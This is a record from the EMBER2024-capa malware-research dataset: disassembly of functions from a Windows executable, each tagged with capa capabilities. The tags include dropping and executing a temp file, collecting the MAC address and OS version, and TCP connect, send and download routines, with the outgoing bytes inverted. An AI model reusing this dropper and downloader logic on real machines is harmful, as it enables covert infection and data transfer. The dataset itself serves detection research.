joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403210
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x6c
push ebx
push ebp
mov ebx, 1
push esi
mov esi, eax
or eax, 0xffffffff
mov dword [esp + 0x10], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x60], eax
mov dword [esp + 0x70], eax
push edi
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], eax
mov dword [esp + 0x68], eax
mov dword [esp + 0x6c], eax
mov dword [esp + 0x70], eax
mov dword [esp + 0x78], eax
mov dword [esp + 0x74], ebx
mov dword [esp + 0x64], ebx
mov dword [esp + 0x4c], ebx
mov dword [esp + 0x34], ebx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x14], ebx
call fcn.0040aeb8
sub esi, dword [esp + 0x80]
mov dword [esp + 0x10], eax
fild dword [esp + 0x10]
mov dword [esp + 0x10], esi
fmul qword [0x41ffd8]
fild dword [esp + 0x10]
fmulp st(1)
fiadd dword [esp + 0x80]
call fcn.004179f0
mov ebp, eax
xor esi, esi
xor edi, edi
test ebp, ebp
jle 0x403350
jmp 0x4032e0
call fcn.0040aeb8
mov dword [esp + 0x80], eax
fild dword [esp + 0x80]
fmul qword [0x41ffd8]
fmul qword [0x41ffe8]
fadd qword [0x41ffe0]
call fcn.004179f0
mov ecx, eax
mov eax, dword [esp + ecx*4 + 0x14]
add eax, esi
cdq
xor eax, edx
sub eax, edx
cmp eax, ebx
jle 0x403338
jmp 0x403320
add ecx, ebx
cmp ecx, 0x1a
jne 0x403329
xor ecx, ecx
mov eax, dword [esp + ecx*4 + 0x14]
add eax, esi
cdq
xor eax, edx
sub eax, edx
cmp eax, ebx
jg 0x403320
add esi, dword [esp + ecx*4 + 0x14]
mov eax, dword [esp + 0x84]
add ecx, 0x61
mov word [eax + edi*2], cx
add edi, ebx
cmp edi, ebp
jl 0x4032e0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x6c
ret

Function at 0x403360
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x41ddbc
mov edi, eax
push 0x83
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebx, eax
test ebx, ebx
je 0x4033d3
push ebp
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push ebx
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebp, eax
mov eax, dword [esp + 0x14]
push esi
mov dword [eax], esi
call fcn.0040bc89
push esi
mov edi, eax
push 0
push edi
call fcn.0040f6e0
push esi
push ebp
push edi
call fcn.00410890
add esp, 0x1c
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop ebp
mov eax, edi
pop edi
pop esi
pop ebx
ret
pop edi
mov eax, esi
pop esi
pop ebx
ret
Function at 0x403560
Capabilities:
Get mac address on windows

Disassembly:
sub esp, 0x40
mov eax, dword [0x422044]
xor eax, esp
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x44]
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x28], eax
xor eax, eax
mov edi, edx
xor ebx, ebx
push 0x288
mov dword [esp + 0x24], edi
mov dword [esp + 0x28], ecx
mov dword [esp + 0x14], 0xffffffff
mov word [esp + 0x30], bx
mov dword [esp + 0x32], eax
mov dword [esp + 0x36], eax
mov dword [esp + 0x3a], eax
mov dword [esp + 0x3e], eax
mov dword [esp + 0x42], eax
mov dword [esp + 0x46], eax
mov dword [esp + 0x4a], eax
mov word [esp + 0x4e], ax
xor ebp, ebp
call fcn.0040b42f
add esp, 4
lea edx, [esp + 0x1c]
mov esi, eax
push edx
push esi
mov dword [esp + 0x20], esi
mov dword [esp + 0x24], 0x288
call sub.iphlpapi.dll_GetAdaptersInfo
cmp eax, 0x6f
jne 0x4035fc
push esi
call fcn.0040ba00
mov eax, dword [esp + 0x20]
push eax
call fcn.0040b42f
add esp, 8
mov dword [esp + 0x18], eax
mov esi, eax
lea ecx, [esp + 0x1c]
push ecx
push esi
call sub.iphlpapi.dll_GetAdaptersInfo
test eax, eax
jne 0x4036e2
cmp esi, ebx
mov eax, esi
mov dword [esp + 0x14], esi
je 0x4036e2
jmp 0x403628
mov eax, dword [esp + 0x14]
mov edi, dword [esp + 0x20]
add dword [esp + 0x10], 1
cmp edi, ebx
je 0x403644
mov edx, dword [eax + 0x194]
mov dword [edi], edx
mov cx, word [eax + 0x198]
mov word [edi + 4], cx
lea edi, [eax + 0x1ac]
cmp edi, ebx
je 0x4036d0
lea esi, [edi + 4]
mov eax, esi
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
add eax, 1
cmp cl, bl
jne 0x403660
sub eax, edx
mov ecx, eax
cmp ecx, 0x10
jle 0x403677
mov ecx, 0x10
xor eax, eax
cmp ecx, ebx
jl 0x403697
cmp eax, ecx
jne 0x403686
mov word [esp + eax*2 + 0x2c], bx
movsx dx, byte [esi + eax]
mov word [esp + eax*2 + 0x2c], dx
add eax, 1
cmp eax, ecx
jle 0x40367f
lea eax, [esp + 0x2c]
push eax
call fcn.004037b0
add esp, 4
test eax, eax
je 0x4036bf
mov edx, dword [esp + 0x28]
mov eax, dword [edx + ebp*4]
lea ecx, [esp + 0x2c]
push ecx
push 0x10
push eax
call fcn.0040aeda
add esp, 0xc
mov edi, dword [edi]
add ebp, 1
cmp edi, ebx
jne 0x403652
mov eax, dword [esp + 0x14]
mov esi, dword [esp + 0x18]
cmp ebp, ebx
jg 0x4036e2
mov eax, dword [eax]
cmp eax, ebx
mov dword [esp + 0x14], eax
jne 0x403620
cmp esi, ebx
mov ecx, dword [esp + 0x24]
mov dword [ecx], ebp
je 0x4036f5
push esi
call fcn.0040ba00
add esp, 4
mov ecx, dword [esp + 0x4c]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040adf2
add esp, 0x40
ret
Function at 0x4039b0
Capabilities:
Check os version

Disassembly:
sub esp, 0x120
mov eax, dword [0x422044]
xor eax, esp
mov dword [esp + 0x11c], eax
push esi
push 0x118
xor esi, esi
lea eax, [esp + 0xc]
push esi
push eax
call fcn.0040f6e0
add esp, 0xc
lea ecx, [esp + 4]
push ecx
mov dword [esp + 8], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x403a89
mov eax, dword [esp + 8]
cmp eax, 5
jne 0x403a55
mov eax, dword [esp + 0xc]
test eax, eax
jne 0x403a2e
cmp word [esp + 0x118], 4
jb 0x403a89
mov esi, 1
mov eax, esi
pop esi
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.0040adf2
add esp, 0x120
ret
cmp eax, 2
jae 0x403a38
cmp eax, 1
jne 0x403a89
mov esi, 3
mov eax, esi
pop esi
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.0040adf2
add esp, 0x120
ret
cmp eax, 6
jne 0x403a89
mov eax, dword [esp + 0xc]
test eax, eax
jne 0x403a7f
mov esi, 4
mov eax, esi
pop esi
mov ecx, dword [esp + 0x11c]
xor ecx, esp
call fcn.0040adf2
add esp, 0x120
ret
cmp eax, 1
jne 0x403a89
mov esi, 5
mov ecx, dword [esp + 0x120]
mov eax, esi
pop esi
xor ecx, esp
call fcn.0040adf2
add esp, 0x120
ret

Function at 0x403ab0
Capabilities:
Get file size

Disassembly:
sub esp, 0x10
push ebx
push esi
push edi
push 0
push 0
push 3
push 0
push 3
push connect
push eax
or edi, 0xffffffff
or ebx, 0xffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x403ae4
or eax, eax
or edx, esi
pop edi
pop esi
pop ebx
add esp, 0x10
ret
lea ecx, [esp + 0x10]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
cmp eax, 1
jne 0x403afd
mov edi, dword [esp + 0x10]
mov ebx, dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
mov edx, ebx
pop ebx
add esp, 0x10
ret

Function at 0x403c40
Capabilities:
Get common file path

Disassembly:
sub esp, 0x20c
mov eax, dword [0x422044]
xor eax, esp
mov dword [esp + 0x208], eax
push 0x206
lea eax, [esp + 6]
push 0
push eax
mov word [esp + 0xc], 0
call fcn.0040f6e0
add esp, 0xc
cmp dword [0x4230b0], 3
jne 0x403ca1
push 0x104
lea ecx, [esp + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x41dc40
lea edx, [esp + 4]
push 0x104
push edx
call fcn.0040ae31
add esp, 0xc
jmp 0x403cb0
lea eax, [esp]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea ecx, [esp + 4]
push ecx
push 0x41dc60
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [esp + 0x218]
add esp, 0x10
xor ecx, esp
call fcn.0040adf2
add esp, 0x20c
ret
Function at 0x403d70
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x314
mov eax, dword [0x422044]
xor eax, esp
mov dword [esp + 0x310], eax
lea eax, [esp + 4]
push eax
push 0x104
mov dword [esp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0x41de24
lea ecx, [esp + 8]
push 0x104
push ecx
call fcn.0040c499
add esp, 0xc
push 0x104
lea edx, [esp + 0x10c]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x108]
push eax
lea ecx, [esp + 0x210]
push 0x104
push ecx
call fcn.0040c08b
lea edx, [esp + 0x218]
push 0x5c
push edx
call fcn.0040c450
add esp, 0x14
test eax, eax
je 0x403dfb
mov byte [eax], 0
push ebx
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x403efe
mov eax, 0x423660
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x403e30
sub eax, edx
push esi
push edi
mov edi, eax
lea eax, [esp + 0x114]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x403e50
sub eax, edx
mov ecx, eax
lea eax, [esp + 0x10]
lea esi, [eax + 1]
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x403e64
sub eax, esi
lea edx, [eax + ecx*2]
add edx, ecx
lea edi, [edx + edi + 0x32]
push edi
call fcn.0040bc89
push edi
mov esi, eax
push 0
push esi
call fcn.0040f6e0
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x22c]
push ecx
lea edx, [esp + 0x12c]
push edx
mov eax, edx
push eax
push 0x423660
push edi
push esi
call fcn.0040c47d
mov eax, esi
add esp, 0x2c
lea ecx, [eax + 1]
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x403eb5
push 0
sub eax, ecx
lea ecx, [esp + 0x10]
push ecx
push eax
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 0
push 0
lea edx, [esp + 0x1c]
push edx
push 0x41de30
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
test esi, esi
je 0x403efc
push esi
call fcn.0040ba8e
add esp, 4
pop edi
pop esi
mov ecx, dword [esp + 0x314]
pop ebx
xor ecx, esp
call fcn.0040adf2
add esp, 0x314
ret

Function at 0x403f20
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x18
xor ecx, ecx
xor eax, eax
cmp esi, 0xffffffff
mov dword [esp + 4], eax
mov dword [esp + 8], ecx
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], ecx
mov dword [esp], eax
je 0x403f71
mov eax, dword [esp + 0x1c]
mov ecx, 0x200
mul ecx
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x10], edx
lea edx, [esp + 4]
push edx
mov dword [esp + 0x10], eax
lea eax, [esp + 4]
push eax
push 0x400
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
add esp, 0x18
ret
Function at 0x404140
Capabilities:
Get disk information via ioctl

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
push edi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor ebp, ebp
xor edi, edi
xor ebx, ebx
cmp dword [esp + 0x24], 0xffffffff
mov dword [esp + 0x10], ebp
mov dword [esp + 0x18], ebp
je 0x40425e
push 0xc00
call fcn.0040bc89
mov ecx, dword [esp + 0x28]
add esp, 4
push ebx
mov esi, eax
lea eax, [esp + 0x18]
push eax
push 0xc00
push esi
push ebx
push ebx
push 0x70050
push ecx
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x404251
mov eax, dword [esi + 0x3c]
test eax, eax
mov ecx, dword [esi + 0x38]
jl 0x4041b9
jg 0x4041ad
test ecx, ecx
jbe 0x4041b9
mov ebx, dword [esi + 0x40]
mov ebp, dword [esi + 0x44]
mov edx, ecx
mov edi, eax
jmp 0x4041bd
mov edx, dword [esp + 0x18]
mov eax, dword [esi + 0xcc]
cmp eax, edi
mov ecx, dword [esi + 0xc8]
jl 0x4041e7
jg 0x4041d3
cmp ecx, edx
jbe 0x4041e7
mov ebx, dword [esi + 0xd0]
mov ebp, dword [esi + 0xd4]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
mov eax, dword [esi + 0x15c]
cmp eax, edi
mov ecx, dword [esi + 0x158]
jl 0x404211
jg 0x4041fd
cmp ecx, edx
jbe 0x404211
mov ebx, dword [esi + 0x160]
mov ebp, dword [esi + 0x164]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
mov eax, dword [esi + 0x1ec]
cmp eax, edi
mov ecx, dword [esi + 0x1e8]
jl 0x40423b
jg 0x404227
cmp ecx, edx
jbe 0x40423b
mov ebx, dword [esi + 0x1f0]
mov ebp, dword [esi + 0x1f4]
mov dword [esp + 0x18], ecx
mov edi, eax
mov edx, ecx
push 0
add ebx, edx
push 0x200
adc ebp, edi
push ebp
push ebx
call fcn.004178c0
mov dword [esp + 0x10], eax
test esi, esi
je 0x40425e
push esi
call fcn.0040ba8e
add esp, 4
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x4042a0
Capabilities:
Read file on windows

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
mov esi, eax
xor ebp, ebp
cmp esi, 0xffffffff
push edi
mov dword [esp + 0x14], ebp
je 0x4044c2
push 0x400
call fcn.0040bc89
add esp, 4
push 0x400
mov ebx, eax
push ebp
push ebx
mov dword [esp + 0x24], ebx
call fcn.0040f6e0
add esp, 0xc
push esi
call fcn.00404140
add esp, 4
push ebx
push eax
call fcn.00403f20
add esp, 8
test eax, eax
je 0x4044b5
lea edi, [ebx + 4]
mov eax, 4
mov ecx, 0x41de74
mov edx, edi
mov ebp, dword [edx]
cmp ebp, dword [ecx]
jne 0x40431c
sub eax, 4
add ecx, 4
add edx, 4
cmp eax, 4
jae 0x404304
test eax, eax
je 0x404385
movzx ebp, byte [ecx]
movzx ebx, byte [edx]
sub ebx, ebp
jne 0x40436b
sub eax, 1
add ecx, 1
add edx, 1
test eax, eax
je 0x404381
movzx ebp, byte [ecx]
movzx ebx, byte [edx]
sub ebx, ebp
jne 0x40436b
sub eax, 1
add ecx, 1
add edx, 1
test eax, eax
je 0x404381
movzx ebp, byte [ecx]
movzx ebx, byte [edx]
sub ebx, ebp
jne 0x40436b
sub eax, 1
add ecx, 1
add edx, 1
test eax, eax
je 0x404381
movzx eax, byte [ecx]
movzx ebx, byte [edx]
sub ebx, eax
je 0x404381
mov ebp, dword [esp + 0x14]
test ebx, ebx
mov ebx, dword [esp + 0x18]
mov eax, 1
jg 0x40438b
or eax, 0xffffffff
jmp 0x40438b
mov ebx, dword [esp + 0x18]
mov ebp, dword [esp + 0x14]
xor eax, eax
test eax, eax
jne 0x4043b5
lea eax, [ebx + 0x10e]
lea edx, [eax + 2]
jmp 0x4043a0
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4043a0
sub eax, edx
sar eax, 1
jne 0x4044a1
lea ecx, [esp + 0x1c]
push ecx
xor eax, eax
lea edx, [esp + 0x1c]
push edx
push 0x400
push ebx
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
push esi
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x38], 0x3c00
mov dword [esp + 0x3c], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4044b5
mov eax, 4
mov ecx, 0x41de74
mov edx, edi
mov esi, dword [edx]
cmp esi, dword [ecx]
jne 0x40441e
sub eax, 4
add ecx, 4
add edx, 4
cmp eax, 4
jae 0x404406
test eax, eax
je 0x40447b
movzx esi, byte [edx]
movzx edi, byte [ecx]
sub esi, edi
jne 0x40446d
sub eax, 1
add ecx, 1
add edx, 1
test eax, eax
je 0x40447b
movzx esi, byte [edx]
movzx edi, byte [ecx]
sub esi, edi
jne 0x40446d
sub eax, 1
add ecx, 1
add edx, 1
test eax, eax
je 0x40447b
movzx esi, byte [edx]
movzx edi, byte [ecx]
sub esi, edi
jne 0x40446d
sub eax, 1
add ecx, 1
add edx, 1
test eax, eax
je 0x40447b
movzx esi, byte [edx]
movzx eax, byte [ecx]
sub esi, eax
je 0x40447b
test esi, esi
mov eax, 1
jg 0x40447d
or eax, 0xffffffff
jmp 0x40447d
xor eax, eax
test eax, eax
jne 0x4044b5
lea eax, [ebx + 0x10e]
lea edx, [eax + 2]
lea ebx, [ebx]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x404490
sub eax, edx
sar eax, 1
je 0x4044b5
mov edi, dword [esp + 0x34]
mov ecx, 0x8d
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ebp, 1
test ebx, ebx
je 0x4044c2
push ebx
call fcn.0040ba8e
add esp, 4
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
add esp, 0x20
ret
Function at 0x4044d0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x218
mov eax, dword [0x422044]
xor eax, esp
mov dword [esp + 0x210], eax
push ebx
push 0x206
lea eax, [esp + 0xe]
push 0
push eax
mov word [esp + 0x14], 0
call fcn.0040f6e0
add esp, 0xc
push 0x104
lea ecx, [esp + 0xc]
push ecx
mov dword [esp + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
movzx edx, word [esp + 8]
sub edx, 0x41
push edx
lea ebx, [esp + 8]
call fcn.00404030
mov ebx, dword [esp + 8]
add esp, 4
call fcn.00403f80
cmp eax, 0xffffffff
jne 0x404553
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.0040adf2
add esp, 0x218
ret
push esi
call fcn.004042a0
mov ecx, dword [esp + 0x218]
add esp, 4
pop ebx
xor ecx, esp
call fcn.0040adf2
add esp, 0x218
ret

Function at 0x4056d0
Capabilities:
Hash data using sha1
Read file on windows

Disassembly:
mov eax, 0x1068
call fcn.00416c70
mov eax, dword [0x422044]
xor eax, esp
mov dword [esp + 0x1064], eax
mov eax, dword [esp + 0x106c]
push ebx
push ebp
push 0x41dccc
push eax
lea eax, [esp + 0x10]
xor ebx, ebx
push eax
mov dword [esp + 0x14], ebx
xor ebp, ebp
call fcn.0040b07e
mov eax, dword [esp + 0x14]
add esp, 0xc
cmp eax, ebx
jne 0x40573b
xor eax, eax
mov dword [edi], eax
mov dword [edi + 4], eax
mov dword [edi + 8], eax
pop ebp
mov dword [edi + 0xc], eax
mov dword [edi + 0x10], eax
pop ebx
mov ecx, dword [esp + 0x1064]
xor ecx, esp
call fcn.0040adf2
add esp, 0x1068
ret
push esi
push 2
push ebx
push eax
call fcn.0040b155
mov ecx, dword [esp + 0x18]
push ecx
call fcn.0040b372
mov edx, dword [esp + 0x1c]
push ebx
push ebx
push edx
mov dword [esp + 0x2c], eax
call fcn.0040b155
mov eax, dword [esp + 0x28]
push eax
push 0x1000
lea ecx, [esp + 0x94]
push 1
push ecx
mov dword [esp + 0x44], ebx
mov dword [esp + 0x40], ebx
mov dword [esp + 0x48], 0x67452301
mov dword [esp + 0x4c], 0xefcdab89
mov dword [esp + 0x50], 0x98badcfe
mov dword [esp + 0x54], 0x10325476
mov dword [esp + 0x58], 0xc3d2e1f0
call fcn.0040b74f
mov esi, eax
add esp, 0x2c
cmp esi, ebx
jbe 0x4057e6
lea edx, [esp + 0x70]
push esi
push edx
lea ebx, [esp + 0x1c]
call fcn.00405530
mov eax, dword [esp + 0x14]
push eax
push 0x1000
lea ecx, [esp + 0x80]
push 1
push ecx
add ebp, esi
call fcn.0040b74f
mov esi, eax
add esp, 0x18
test esi, esi
ja 0x4057b1
xor ebx, ebx
push edi
lea esi, [esp + 0x18]
call fcn.004055e0
mov edx, dword [esp + 0x10]
push edx
call fcn.0040b7dd
add esp, 8
cmp ebp, dword [esp + 0x10]
pop esi
jb 0x405714
mov ecx, dword [esp + 0x106c]
pop ebp
pop ebx
xor ecx, esp
mov eax, 1
call fcn.0040adf2
add esp, 0x1068
ret
Function at 0x405830
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
sub esp, 0x9b0
mov eax, dword [0x422044]
xor eax, esp
mov dword [esp + 0x9a8], eax
push ebp
mov ebp, dword [esp + 0x9b8]
push esi
push edi
push 0x7fe
lea eax, [esp + 0x1b6]
push 0
push eax
mov edi, ecx
mov word [esp + 0x1bc], 0
call fcn.0040f6e0
add esp, 0xc
test edi, edi
lea esi, [esp + 0x1b0]
je 0x40587e
mov esi, edi
lea ecx, [esp + 0x20]
push ecx
push 0x101
mov word [esi], 0
mov dword [esp + 0x14], 0
xor edi, edi
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x4058ee
push 0x41de7c
push 0x3ff
push esi
call fcn.0040aeda
push 0x41de9c
push 0x3ff
push esi
call fcn.0040ae31
push 0x41dea0
push 0x3ff
push esi
call fcn.0040ae31
add esp, 0x24
xor eax, eax
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x9a8]
xor ecx, esp
call fcn.0040adf2
add esp, 0x9b0
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
cmp eax, 0xffffffff
mov dword [ebx], eax
je 0x4058a1
push ebp
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x405986
push ebp
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
push 4
lea edx, [esp + 0x14]
push edx
mov dword [esp + 0x18], eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
jne 0x405986
push 0x41de7c
push 0x3ff
push esi
call fcn.0040aeda
push 0x41de9c
push 0x3ff
push esi
call fcn.0040ae31
push 0x41dea0
push 0x3ff
push esi
call fcn.0040ae31
mov eax, dword [ebx]
add esp, 0x24
test eax, eax
je 0x40596c
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [ebx], edi
mov ecx, dword [esp + 0x9b4]
mov eax, edi
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.0040adf2
add esp, 0x9b0
ret
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov eax, dword [esp + 0x9c4]
push eax
mov dword [esp + 0x18], edx
mov word [esp + 0x14], 2
call dword [sym.imp.WS2_32.dll_htons]
mov edx, dword [ebx]
push 0x10
lea ecx, [esp + 0x14]
push ecx
push edx
mov word [esp + 0x1e], ax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x4059c9
push 0x41dee0
jmp 0x40592f
mov edi, 1
jmp 0x40596c

Function at 0x4059d0
Capabilities:
Send data
Send data on socket

Disassembly:
push ecx
mov ecx, dword [esp + 8]
push ebx
xor eax, eax
cmp dword [ecx], eax
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov dword [esp + 0xc], eax
je 0x405a54
cmp edi, eax
jle 0x4059ff
lea ebx, [ebx]
mov dl, byte [eax + ebp]
not dl
mov byte [eax + ebp], dl
add eax, 1
cmp eax, edi
jl 0x4059f0
lea ebx, [edi + 7]
push ebx
call fcn.0040bc89
mov esi, eax
lea eax, [edi + 5]
mov word [esi], ax
mov ecx, dword [0x423130]
push edi
mov dword [esi + 2], ecx
mov dl, byte [0x423134]
lea eax, [esi + 7]
push ebp
push eax
mov byte [esi + 6], dl
call fcn.00410890
mov ecx, dword [esp + 0x24]
mov edx, dword [ecx]
add esp, 0x10
push 0
push ebx
push esi
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x405a58
cmp eax, ebx
jne 0x405a58
mov dword [esp + 0xc], 1
jmp 0x405a58
mov esi, dword [esp + 0x14]
test esi, esi
je 0x405a65
push esi
call fcn.0040ba8e
add esp, 4
mov eax, dword [esp + 0xc]
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x406010
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
mov eax, 0x100c
call fcn.00416c70
mov eax, dword [0x422044]
xor eax, esp
mov dword [esp + 0x1008], eax
mov edx, dword [ebx]
mov eax, dword [esp + 0x1010]
push ebp
mov ebp, dword [sym.imp.WS2_32.dll_recv]
push edi
xor edi, edi
push edi
push 4
lea ecx, [esp + 0x10]
push ecx
push edx
mov dword [esp + 0x1c], eax
call ebp
cmp eax, 4
je 0x406068
pop edi
xor eax, eax
pop ebp
mov ecx, dword [esp + 0x1008]
xor ecx, esp
call fcn.0040adf2
add esp, 0x100c
ret
cmp dword [esp + 8], edi
jbe 0x4060ad
push esi
nop
mov ecx, dword [ebx]
push 0
push 0x1000
lea eax, [esp + 0x1c]
push eax
push ecx
call ebp
mov esi, eax
test esi, esi
je 0x4060ac
mov edx, dword [esp + 0x10]
mov eax, dword [edx]
push eax
push esi
lea ecx, [esp + 0x1c]
push 1
push ecx
call fcn.0040b973
add edi, esi
add esp, 0x10
cmp edi, dword [esp + 0xc]
mov dword [0x424784], edi
jb 0x406070
pop esi
mov edx, dword [esp + 0xc]
mov eax, dword [edx]
push eax
call fcn.0040b7dd
mov ecx, dword [esp + 0x1014]
add esp, 4
cmp edi, dword [esp + 8]
pop edi
sbb eax, eax
pop ebp
xor ecx, esp
add eax, 1
call fcn.0040adf2
add esp, 0x100c
ret